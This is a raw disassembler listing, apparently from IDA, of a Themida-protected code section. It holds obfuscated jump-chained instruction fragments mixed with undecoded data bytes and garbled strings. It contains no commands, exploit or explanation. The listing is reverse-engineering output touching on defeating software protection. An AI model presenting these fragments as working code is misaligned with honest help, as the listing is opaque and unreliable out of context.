; ---------------------------------------------------------------------------
		dd 3CD3BE56h, 0EE8141A0h, 0D4C8CCCBh, 74E9F031h
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_55403B:				; CODE XREF: Themida_:0055F1EEj
		push	eax
		mov	eax, 16396D35h
		push	ebx
		mov	ebx, 0F226328h
		not	ebx
		jmp	loc_5639D5
; ---------------------------------------------------------------------------


loc_55404E:				; CODE XREF: Themida_:00564FCCj
		neg	edi
		jmp	loc_55C19B
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 81000000h, 0DB0E97C6h, 0E9EE0116h, 84B3h, 4B951h, 0CE290000h
		dd 0D2C9E9h, 0BE95000h,	1000015h, 1C3358C3h, 7C55E924h
		dd 0FE890000h, 0FFF58CE9h, 7BADBBFFh, 0BF575FB6h, 555752B3h
		dd 4B5FFB29h, 4343DBF7h, 0D70DF381h, 0DE01F5A0h, 0E952555Bh
		dd 1916h, 83241C8Bh, 136804C4h,	89000067h, 0DEBA2414h
		dd 0F70B822Dh, 0E130E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540CA:				; CODE XREF: Themida_:00557C5Bj
		pop	ecx
		push	ebp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565F8F
; ---------------------------------------------------------------------------
aISQ		db '┴цИ/q',0
		dd 0BEF4B800h, 0BE56FF63h, 2293D93h, 0EB7CE9h, 0C1816600h
		dd 1668FE0h, 4A6659CAh,	0E9E2D166h, 2C50h
; ---------------------------------------------------------------------------


loc_554104:				; CODE XREF: Themida_:0055F5ACj
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55FEEE
; ---------------------------------------------------------------------------
		dd 0E1F7665Ch, 185A6866h, 24148966h, 0E99C5066h, 0FFFFEB9Fh
		dd 0FD96855h, 815D302Dh, 0D101D8C5h, 1E1FE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554136:				; CODE XREF: Themida_:00560E64j
		pop	edi
		add	ebx, 8B12C32h
		pop	dword ptr [eax]
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 2322BF57h, 81E93605h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55414F:				; CODE XREF: Themida_:005616A8j
		push	287Bh
		mov	[esp], edi
		mov	edi, 5D5A17D5h
		push	7D67h
		mov	[esp], ebp
		mov	ebp, 4DF55B31h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3A405715h
		or	eax, 5DC1CFAh
		shl	eax, 4
		add	eax, 35CB24ECh
		or	ebp, eax
		pop	eax
		push	esi
		mov	esi, 426A7C1Dh
		sub	ebp, esi
		push	dword ptr [esp]
		jmp	loc_566126
; ---------------------------------------------------------------------------


loc_554197:				; CODE XREF: Themida_:0055AF7Bj
		jnz	loc_557848
		sub	esp, 4
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		jmp	loc_560A15
; ---------------------------------------------------------------------------
		dd 64D34C35h, 59E95759h, 8B000127h, 34FF2424h, 2434FF24h
		dd 5D545558h, 0CE42E9h,	4C48100h, 0E9000000h, 0FFFFEAEBh
		dd 2434FF5Ch, 0A040E9h,	5AD78900h, 0E054E9h, 0C1EED100h
		dd 0EE8104EEh, 8A478AAEh, 8B5EF301h, 0C4832434h, 4EC8304h
		dd 0F37EE9h
		db 0
; ---------------------------------------------------------------------------


loc_554205:				; CODE XREF: Themida_:0055743Aj
		mov	[esp], ecx
		push	eax
		mov	eax, 1
		push	2A5Ch
		mov	[esp], eax
		add	dword ptr [esp], 2ECD25B7h
		pop	ecx
		sub	ecx, 2ECD25B7h
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_55FD9C
; ---------------------------------------------------------------------------


loc_554237:				; CODE XREF: Themida_:0055EDAEj
		push	262Bh
		mov	[esp], esi
		mov	esi, 1EE1260h
		push	edi
		mov	edi, 475E43A5h
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_5572A0
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	328EE9h, 81E58900h, 4C5h, 4EC8300h
		dd 0E9243C89h, 0A008h, 8B2434FFh, 0CE9240Ch
		db 0DCh, 2 dup(0)
byte_55427F	db 56h			; DATA XREF: Themida_:00552C38o
		dd 0EC83E689h, 241C8904h, 4BBh,	5BDE0100h, 0E3F7E957h
		dd 815E0000h, 0FBC969C1h, 59C8011Dh, 6F17685Bh,	14890000h
		dd 4826BA24h, 0F36807B0h, 0E9000069h, 0A3FDh, 1E9C609h
		dd 830000B5h, 0FCE904C4h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5542C7:				; CODE XREF: Themida_:0055333Fj
		and	eax, esi
		pop	esi
		push	edx
		mov	edx, 366725AFh
		not	edx
		xor	edx, 605B012Ch
		jmp	loc_556B95
; ---------------------------------------------------------------------------
byte_5542DD	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00552AECo
		dd 4EC81h, 2C890000h, 68555324h, 1C032889h, 12D36E9h, 4EC8300h
		dd 0E9242C89h, 630Dh
; ---------------------------------------------------------------------------


loc_554300:				; CODE XREF: Themida_:0055CB27j
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 3AB21663h
		jmp	loc_556A5F
; ---------------------------------------------------------------------------
		dd 5904C483h, 7360CB81h, 3E684731h, 89000006h, 6DB82404h
		dd 296FF777h, 0D90158C3h, 2E9815Bh, 83000000h, 0C8904ECh
		dd 2474FF24h, 240C8B04h, 81E18951h, 4C1h, 4BF5700h, 0E9000000h
		dd 25ADh, 3BEB81h, 61050980h, 2976F40Bh, 0B612DD8h, 1C8B76F4h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 0EF89E9h
		db 0
; ---------------------------------------------------------------------------


loc_554381:				; CODE XREF: Themida_:00558806j
		push	edi
		mov	edi, 0A2762E0h
		jmp	loc_556472
; ---------------------------------------------------------------------------
aS_		db ' вИ.$',0
		dw 0BA00h
		dd 420F3506h, 8106EAC1h, 0BA25F7F2h, 5AD1012Bh,	0E981F901h
		dd 2AB21923h, 83243C8Bh, 0C8704C4h, 4EE95C24h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5543BB:				; CODE XREF: Themida_:00565EC3j
		mov	[esp], eax
		jmp	loc_55D656
; ---------------------------------------------------------------------------
		db 33h
		dd 0FF5C242Ch, 0C8B2434h, 8B545224h, 0C4812414h, 4, 515D5455h
		dd 0FFF634E9h, 24048BFFh, 341AE957h, 76680000h,	0E900005Ah
		dd 104C5h
; ---------------------------------------------------------------------------


loc_5543F4:				; CODE XREF: Themida_:005562DDj
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_566F49
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 835C2434h, 0CE6804C4h, 89000054h, 5E542434h,	2D0DB951h
		dd 0D1F73351h, 51D4E181h, 0BA5238B4h, 3117005Fh, 0D15AD129h
		dd 0DEE981E1h, 81AF1AA0h, 4A12EEC6h, 0E9CE011Eh, 564Fh
		dd 31243C33h, 3C33243Ch, 24248B24h, 9CC83B66h, 0FFE86EE9h
		dd 4C783FFh, 2474FF57h,	57CBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554462:				; CODE XREF: Themida_:0055AB5Ej
		sub	bl, dh
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5648B2
; ---------------------------------------------------------------------------
		db 0BEh, 0CBh, 43h
		dd 0C5BB18D4h, 313C0F56h, 0CBD4E9F3h, 0E9570000h, 0FFFFEF24h
; ---------------------------------------------------------------------------


loc_554484:				; CODE XREF: Themida_:00554561j
		mov	[esp], edi
		mov	edi, 0AEE5296h
		and	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 5AE506F4h
		or	edx, ebx
		jmp	loc_552EC5
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 2
		dd 1B75BD55h, 0E9457BA0h, 1222h, 4F089EB9h, 62C1811Dh
		dd 89E2B0FBh, 240C8BCEh, 6804C483h, 0C81h, 2820E9h
		db 0
; ---------------------------------------------------------------------------


loc_5544CD:				; CODE XREF: Themida_:0055A18Cj
		pop	ecx
		sub	esi, ebx
		push	ecx
		mov	ecx, 1917225Bh
		shr	ecx, 2
		add	ecx, 1
		xor	ecx, 1BEAFC9Ah
		sub	esi, ecx
		jmp	loc_557EC7
; ---------------------------------------------------------------------------
		dd 0F781DFF7h, 0C8DDF1CEh, 815FFE89h, 0B87EC2F6h, 2E6C16Ch
		dd 0E022C681h, 0FA057953h, 297B1510h, 378BE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554512:				; CODE XREF: Themida_:0055B29Aj
		mov	ebp, 2D0C5059h
		not	ebp
		jmp	loc_55C1C6
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 0C335D5Eh, 240C3124h, 8B240C33h, 69E92424h, 810000DCh
		dd 6717ECC2h, 5FEA812Ah, 680AB034h, 1C5Dh, 0E9240489h
		dd 29E7h
; ---------------------------------------------------------------------------


loc_55454C:				; CODE XREF: Themida_:005665AFj
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554484
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 0FFE7D7E9h, 0C0AAB7FFh, 0F78003EFh, 7E7C0C9h, 8003E7C0h
		dd 0F780AEE7h, 5BFD8806h, 0C8BEA88h, 4C48124h, 80000000h
		dd 50E980C4h, 0F60000D5h, 0B17FE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55459E:				; CODE XREF: Themida_:00557A02j
		mov	[esp], ecx
		push	20EFh
		mov	[esp], ebx
		mov	ebx, 58651300h
		neg	ebx
		add	ebx, 5D75B25h
		push	esi
		mov	esi, 5DE552EDh
		and	ebx, esi
		pop	esi
		jmp	loc_561280
; ---------------------------------------------------------------------------
aRpsga		db 'RPИG─',0
		dw 0F700h
		dd 7E8C1D0h, 3127D605h,	0FFC129A9h, 48B2434h, 4C48124h
		dd 81000000h, 4C4h, 0FEEA8100h,	12DD92Dh, 0FEC281CAh, 592DD92Dh
		dd 3E47E9h, 12C78100h, 8B61B068h, 0C481242Ch, 4, 10B5EF81h
		dd 0EF81258Bh, 27C0674Bh, 0A796E9h, 4C48100h, 0E9000000h
		dd 0CD52h, 8904EC83h, 0B9512424h, 4, 4244C01h, 0E7D6E959h
		dd 8141FFFFh, 0E473FBE9h, 0D2E98130h, 2939C45Dh, 0C60159C8h
		dd 4EC8158h, 89000000h,	4BD242Ch, 1000000h, 34875DEEh
		dd 0C6815C24h, 4, 4C681h, 0FF560000h, 0E9042474h, 0F6B5h
		dd 5C241C87h, 54D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_554685:				; CODE XREF: Themida_:0055D223j
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		jmp	loc_55FF23
; ---------------------------------------------------------------------------
		dd 622968h, 243C8900h, 1227AE9h, 54BABB00h, 0C3815548h
		dd 4CF900B0h, 0C381D3F7h, 0E39B984Dh, 4AE9DE01h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5546BB:				; CODE XREF: Themida_:0055AF0Ej
		or	esi, 45363E3Dh
		inc	esi
		xor	esi, 52743C3Bh
		sub	ebx, 67776D80h
		jmp	loc_553026
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 5F505700h, 3C8BFE89h, 4C48124h, 0E9000000h, 0AA24h
		dd 4C481h, 0F7470000h, 8E7C1DFh, 370CC781h, 0FB29657Ah
		dd 24148B5Fh, 8104C483h, 4ECh, 241C8900h, 42474FFh, 81241C8Bh
		dd 4C4h, 24048F00h, 6624248Bh, 66240C89h, 0E9C8B60Fh, 9674h
		dd 0E904EC83h, 40DEh, 904C483h,	0F7FEE9CAh, 4BB50000h
		dd 0E9EAF580h, 801h, 0E9241489h, 0FFFFEDFEh, 8904EC83h
		dd 89502414h, 405E0h, 42D0000h,	87000000h, 545C2404h, 0E924048Fh
		dd 528Bh
; ---------------------------------------------------------------------------


loc_554774:				; CODE XREF: Themida_:00563C01j
		and	ecx, edx
		jmp	loc_558EE2
; ---------------------------------------------------------------------------
		db 81h
		dd 3B04246Ch, 8B6A211Fh, 0C481240Ch, 4,	12240481h, 10DD463h
		dd 2C812404h, 0D4631224h, 4EC830Dh, 102C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5547A5:				; CODE XREF: Themida_:00566292j
		sub	ebx, 67010A63h
		push	esi
		mov	esi, 2C3C0DE4h
		add	esi, 1E4B2AC4h
		jmp	loc_5572BC
; ---------------------------------------------------------------------------
		dd 34FFCE01h, 0C4815924h, 4, 71AEBE56h,	814E6EAFh, 4F7E4FEEh
		dd 0FF68147h, 29548CD4h, 0F5015EF5h, 2751C581h,	9DE973D3h
		db 7Bh,	2 dup(0)
byte_5547EB	db 0FFh			; DATA XREF: Themida_:00552AC8o
		dd 34FF2434h, 2434FF24h, 582434FFh, 5604C483h, 0C681E689h
		dd 4, 5B7C68h, 241C8900h, 81E38953h, 4C3h, 0B8F7E900h
		dd 2ABF0000h, 0E956A57Ah, 563Bh, 54242C89h, 83242C8Bh
		dd 54E904C4h, 8B0000E2h, 0EFE9241Ch
		db 2Fh,	2 dup(0)
byte_55483B	db 66h			; DATA XREF: Themida_:00552ACCo
		dd 0E924048Bh, 4A0Bh
; ---------------------------------------------------------------------------


loc_554844:				; CODE XREF: Themida_:00562459j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		add	dword ptr [esp], 38877306h
		pop	ecx
		sub	ecx, 38877306h
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 37DE57F8h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55665A
; ---------------------------------------------------------------------------


loc_554881:				; CODE XREF: Themida_:00557202j
		add	ebp, 4
		jmp	loc_55A116
; ---------------------------------------------------------------------------
		dd 0DD27B668h, 24048B4Eh, 4C481h, 57050000h, 935D8C16h
		dd 593D3F7h, 26092CCh, 47EEE9h,	0DD885100h, 0C0E9EC88h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5548B7:				; CODE XREF: Themida_:0055C374j
		add	esi, eax
		pop	eax
		jmp	loc_565C23
; ---------------------------------------------------------------------------
		db 33h
		dd 89E9242Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5548C7:				; CODE XREF: Themida_:00560C50j
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_55CB48
; ---------------------------------------------------------------------------
		dd 4B8h, 0E9C60100h, 0EBFEh, 4EC81h, 0C890000h,	5380B924h
		dd 0CB894C52h, 56240C8Bh, 0BF57E689h, 4, 835FFE01h, 343304C6h
		dd 24343124h, 5C243433h, 9624E9h, 0E9564500h, 896Bh, 285BFA00h
		dd 8D685AD0h, 8900005Eh, 5450241Ch, 40558h, 42D0000h, 87000000h
		dd 248B2404h, 0E32BE924h, 0B8500000h, 7557790Ch, 2D07E8C1h
		dd 507369D7h, 89A4E9h, 0D5E95000h, 680000C7h, 37E3611Ah
		dd 108DE9h, 21756800h, 2C890000h, 6853BD24h, 0E801592Ch
		dd 9855E95Dh
		db 2 dup(0)
word_554972	dw 8B66h		; DATA XREF: Themida_:00552C70o
		dd 8953240Ch, 4C381E3h,	83000000h, 1C3304EBh, 241C3124h
		dd 5C241C33h, 54242C89h, 0EC53E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554996:				; CODE XREF: Themida_:0055D5C6j
		push	ecx
		jmp	loc_55E78C
; ---------------------------------------------------------------------------


loc_55499C:				; CODE XREF: Themida_:00561559j
		add	esp, 4
		push	446Ch
		mov	[esp], ecx
		push	eax
		mov	eax, 600228E5h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, eax
		mov	ecx, edx
		pop	edx
		mov	eax, [esp]
		jmp	loc_560467
; ---------------------------------------------------------------------------


loc_5549C6:				; CODE XREF: Themida_:005535E4j
		sub	ebx, 3580091h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	2AD2h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_55FF7B
; ---------------------------------------------------------------------------
aISu		db '┬йИu',7,0
		dd 5D0F700h, 32C23EF0h,	8158C301h, 0B7D12EBh, 53C32919h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h,	27D6BE24h
		dd 0EE875310h, 0EE87D5F7h, 3601F681h, 0EEC12ABAh, 2304E903h
		dd 0EB800000h, 0C0B60F0Bh, 8904EC83h, 0E954240Ch, 0C565h
		dd 925CE95Bh, 4F090000h, 240C8B1Ch, 1F8568h, 243C8900h
		dd 1036AE9h, 24048900h,	0BF575854h, 5CE96B5Eh, 6B5AEF81h
		dd 0F8015CE9h, 71F0685Fh, 34890000h, 52BE924h, 0B8500001h
		dd 4, 5058C301h, 142E5BB8h, 331C2503h, 0FCE95570h, 0BD000018h
		dd 4, 0F685756h, 5F752517h, 7B36EF81h, 6FE92656h, 810000D3h
		dd 0CCB46CC5h, 5DEF2191h, 0E904EC83h, 8FF8h
; ---------------------------------------------------------------------------


loc_554AE8:				; CODE XREF: Themida_:0055A34Bj
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_55EDA7
; ---------------------------------------------------------------------------
aXsgr		db 'XИgr',0
		dd 0C3885A00h, 24C2E958h, 68660000h, 89665384h,	3C30240Ch
		dd 243C3224h, 0E9243C30h, 14E1h
dword_554B20	dd 9D1C77FFh, 4105866h,	94E99C24h, 4FFFFE1h, 2EC81BFh
					; DATA XREF: Themida_:00552AA0o
		dd 66000000h, 51241C89h, 501BB252h, 0C588D088h,	0A112E958h
		dd 3C890000h, 0FE01E924h, 8951FFFFh, 59CB89F1h,	2CBEE95Eh
		dd 0DD010001h, 0F1ED815Bh, 5E308435h, 15DEB89h,	241C8BD9h
		dd 4C481h, 0C870000h, 24248B24h, 242CD366h, 0E13DE99Ch
		dd 0D801FFFFh, 1238CE9h, 4EC8100h, 0E9000000h, 0FFFFEF5Ah
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 15BD889h, 24048BC1h
		dd 0DBDEE9h, 348B6600h,	0E9545224h, 7703h
dword_554BC0	dd 3E9028Fh, 81000097h,	0F5733FF6h, 9EEE8102h, 0E91EC9CEh
					; DATA XREF: Themida_:00552C1Co
		dd 2C85h, 6804C483h, 13B6h, 0E9240C89h,	0D8FAh
; ---------------------------------------------------------------------------


loc_554BE8:				; CODE XREF: Themida_:0055729Bj
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		push	658946E4h
		jmp	loc_55E613
; ---------------------------------------------------------------------------
		dd 4244C01h, 0B7E95F59h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554C13:				; CODE XREF: Themida_:00557B58j
		inc	edx
		jmp	loc_55A6B0
; ---------------------------------------------------------------------------


loc_554C19:				; CODE XREF: Themida_:0055AB48j
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_559071
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 9E90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554C3B:				; CODE XREF: Themida_:00559CAEj
		sub	eax, 55EA3CABh
		push	esi
		jmp	loc_55EEB7
; ---------------------------------------------------------------------------
		dw 0C15Bh
		dd 0E28106EAh, 428A7C89h, 0EA81DAF7h, 0FEFB7810h, 0B3A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_554C5D:				; CODE XREF: Themida_:00563E2Dj
		push	ecx
		jmp	loc_566721
; ---------------------------------------------------------------------------
aQCyvpb		db 'Q╧≈yvP│и',0
		dd 81146914h, 900B52C1h, 95E98143h, 0E93606EEh,	6385h
		dd 0CD3665Ch, 38E99C24h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C8B:				; CODE XREF: Themida_:0055B7CEj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 77685551h, 5D168C38h, 331BB53h, 0DD29A77Bh, 9AB1E9h
		dd 241C8B00h, 4C481h, 8DE90000h, 0C000009Ah, 98E903E3h
		dd 8300010Fh, 48904ECh,	26F9E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_554CCA:				; CODE XREF: Themida_:005578F1j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 2000h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_559E03
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 98h
		dd 0C16F2D4Fh, 814F07E7h, 0BB1C56F7h, 883FE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554CFE:				; CODE XREF: Themida_:0055DA88j
		push	edi
		mov	edi, esp
		jmp	loc_559316
; ---------------------------------------------------------------------------


loc_554D06:				; CODE XREF: Themida_:00556679j
		pop	ebp
		push	0
		jmp	loc_55659F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704C3h, 0E3685C24h, 89000016h,	0B951243Ch
		dd 1725F30h, 8159CF89h,	335771F7h, 5E7C106h, 7EC6F781h
		dd 0A405A8F7h, 29182F50h, 50A42DF8h, 55F182Fh, 1DB70236h
		dd 362DD801h, 51DB702h,	40D676E6h, 3F59E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554D62:				; CODE XREF: Themida_:0056787Bj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [edx+38h]
		mov	eax, [esp]
		jmp	loc_55F6DB
; ---------------------------------------------------------------------------
		dd 339FC281h, 0A1E91669h, 5E0000D1h, 0C5685751h, 8B030E54h
		dd 0C481243Ch, 4, 7502E781h, 0F74F4E88h, 81D7F7D7h, 853FBEFh
		dd 0E9F98902h, 32FAh, 0E904EC83h, 4475h, 0ECE9515Ch, 89000122h
		dd 977DE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554DCA:				; CODE XREF: Themida_:0055BA32j
		add	dword ptr [esp], 4
		jmp	loc_55A7BA
; ---------------------------------------------------------------------------
		db 81h
		dd 342547E3h, 43F3817Dh, 0E94D3401h, 0FFFFE2F7h, 8158C701h
		dd 4C7h, 243C8700h, 8FB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_554DF5:				; CODE XREF: Themida_:00553C6Aj
		push	eax
		jmp	loc_56408A
; ---------------------------------------------------------------------------
aSkr		db '(аИ╙R',0
		align 2


loc_554E02:				; CODE XREF: Themida_:00562081j
		pop	edx
		sub	ebp, 2F9B2830h
		add	ebp, edx
		add	ebp, 2F9B2830h
		jmp	loc_55B3F1
; ---------------------------------------------------------------------------


loc_554E16:				; CODE XREF: Themida_:0055E820j
		add	ebx, ecx
		pop	ecx
		xor	ecx, ebx
		pop	ebx
		pop	ebx
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		push	0D6Bh
		jmp	loc_55593F
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 1D13D4F7h, 5FF90115h, 0B03EE9h, 59CA2900h, 3CFCC281h
		dd 0F2016DBCh, 3CFCEA81h, 0CFE96DBCh, 5E000004h, 5573E9h
		dd 24148B00h, 3104C483h, 0FA315EF7h, 5F2434FFh,	0F283E953h
		dd 0BBBE0000h, 680B4767h, 0
		dd 7D61BD55h, 6C290FEEh, 295D0424h, 4812434h, 0EE7D6124h
		dd 24348B0Fh, 4C481h, 9EE90000h
		db 70h,	2 dup(0)
byte_554E9B	db 0FFh			; DATA XREF: Themida_:00552A94o
a4Xha		db '4$Xh²',0Dh,0
		align 4
		dd 89241C89h, 5BD268E3h, 16E90000h, 560000A6h, 0C93DEDBEh
		dd 0EF74E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554EBE:				; CODE XREF: Themida_:00563632j
		push	dword ptr [esp]
		jmp	loc_566497
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C4h, 2434FF00h, 4EC8158h, 89000000h, 97E9241Ch, 50000030h
		dd 405E089h, 83000000h,	48704E8h, 1C23E924h, 835D0000h
		dd 0E95304EBh, 0F3ABh, 0C681E6D1h, 670525C6h, 8103EEC1h
		dd 23CF3FC6h, 0E9F301FBh, 0D8E1h, 5C02BF57h, 0E7C14CB3h
		dd 1C78306h, 74E7814Fh,	814D2171h, 0D52B37C7h, 5FFE89F7h
		dd 4EC81h, 0C890000h, 605BB924h, 0CE01268Bh, 0B621E959h
		dd 53660000h, 101BEE9h,	23ED8000h, 8059EB28h, 0C5807AEDh
		dd 80DD00AAh, 0B450AAEDh, 6BF480BAh, 0CC80DCF6h, 0DFCC80CFh
		dd 0FFF093E9h, 242C81FFh, 4F333F97h, 8124348Bh,	4C4h, 97C68100h
		dd 594F333Fh, 15EF701h,	2434FFF9h, 4C4815Fh, 68000000h
		dd 2512h, 0E9240C89h, 0F3E4h, 19BE68h, 241C8900h, 4BB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_554FB1:				; CODE XREF: Themida_:0055F5A5j
		push	2CA4h
		jmp	loc_559AE2
; ---------------------------------------------------------------------------
		db 29h
		dd 8108245Ch, 708246Ch,	8176C407h, 8E082444h, 5B045104h
		dd 4245C01h, 14C7E9h, 2415BB00h, 0EB810897h, 0FFFFFFFFh
		dd 90AFE943h, 0FE590000h, 31F3E9CBh, 0ED810000h, 4, 31242C33h
		dd 2C33242Ch, 24248B24h, 0E9240C89h, 1CBEh
; ---------------------------------------------------------------------------


loc_55500C:				; CODE XREF: Themida_:0055FEEFj
		xor	dword ptr [esp], 2957A3h
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		push	edi
		mov	edi, 80E10FCh
		jmp	loc_55E22F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2359180Ch, 24348B5Eh, 5704C483h, 0B830D8BFh,	8E7C115h
		dd 142AC781h, 0DAE932B2h, 54FFFFFDh, 4C3815Bh, 81000000h
		dd 4ECh, 242C8900h, 4BDh, 0E9EB0100h, 6FF5h, 0E41BE951h
		dd 8B5E0000h, 0C4812414h, 4, 190368h, 240C8900h, 0FF241CF7h
		dd 0C8B2434h, 4C48124h,	50000000h, 405E089h, 53000000h
		dd 7B1134BBh, 0C555E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5550AA:				; CODE XREF: Themida_:0055375Aj
		add	ecx, edx
		pop	edx
		sub	ecx, 1822566Bh
		dec	ecx
		jmp	loc_56370C
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0F9h
		dd offset byte_55FAE9
		db 0
; ---------------------------------------------------------------------------


loc_5550C1:				; CODE XREF: Themida_:0055C954j
		mov	[esp], ecx
		push	38h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561352
; ---------------------------------------------------------------------------


loc_5550D2:				; CODE XREF: Themida_:005613FBj
		mov	edx, 4
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_557CEA
; ---------------------------------------------------------------------------
		dw 0DCE9h
		dd 81FFFFDBh, 342CF1CEh, 1BA527Dh, 29000000h, 8FE95AD6h
		dd 31000043h, 5DEE31F5h, 4E03E9h
		db 0
; ---------------------------------------------------------------------------


loc_555105:				; CODE XREF: Themida_:0055E3B3j
		shl	al, 3
		jmp	loc_55AEDA
; ---------------------------------------------------------------------------


loc_55510D:				; CODE XREF: Themida_:00555698j
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		jmp	loc_5622FF
; ---------------------------------------------------------------------------
aFhrys_		db 'fhryИз.',0          ; DATA XREF: Themida_:00552A38o
		db 0
; ---------------------------------------------------------------------------


loc_555129:				; CODE XREF: Themida_:00555D92j
		mov	[esp], esi
		push	ebx
		jmp	loc_5532A0
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241489h, 7E8Ah, 6812BB53h, 0DF2961B0h,	0F1A6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55514E:				; CODE XREF: Themida_:0055FB6Dj
		mov	ebp, 4BBF7357h
		or	ebp, 40373E00h
		dec	ebp
		jmp	loc_55BACE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 0FFEF12E9h, 4EC81FFh, 89000000h, 0BA522424h, 4, 4245401h
		dd 24148B5Ah, 69C26857h, 24890000h, 63B1E924h, 0E9590000h
		dd 7CE2h
dword_555194	dd 8B2434FFh, 0EC812404h, 4, 0E9241489h, 8991h
					; DATA XREF: Themida_:00552A18o
dword_5551A8	dd 0E9240C8Bh, 0FFFFE579h ; DATA XREF: Themida_:00552C08o
; ---------------------------------------------------------------------------


loc_5551B0:				; CODE XREF: Themida_:00566007j
		sub	ebx, 20545C39h
		xor	eax, ebx
		pop	ebx
		sub	ebx, 1E786054h
		add	ebx, 1BB57D89h
		add	ebx, eax
		sub	ebx, 1BB57D89h
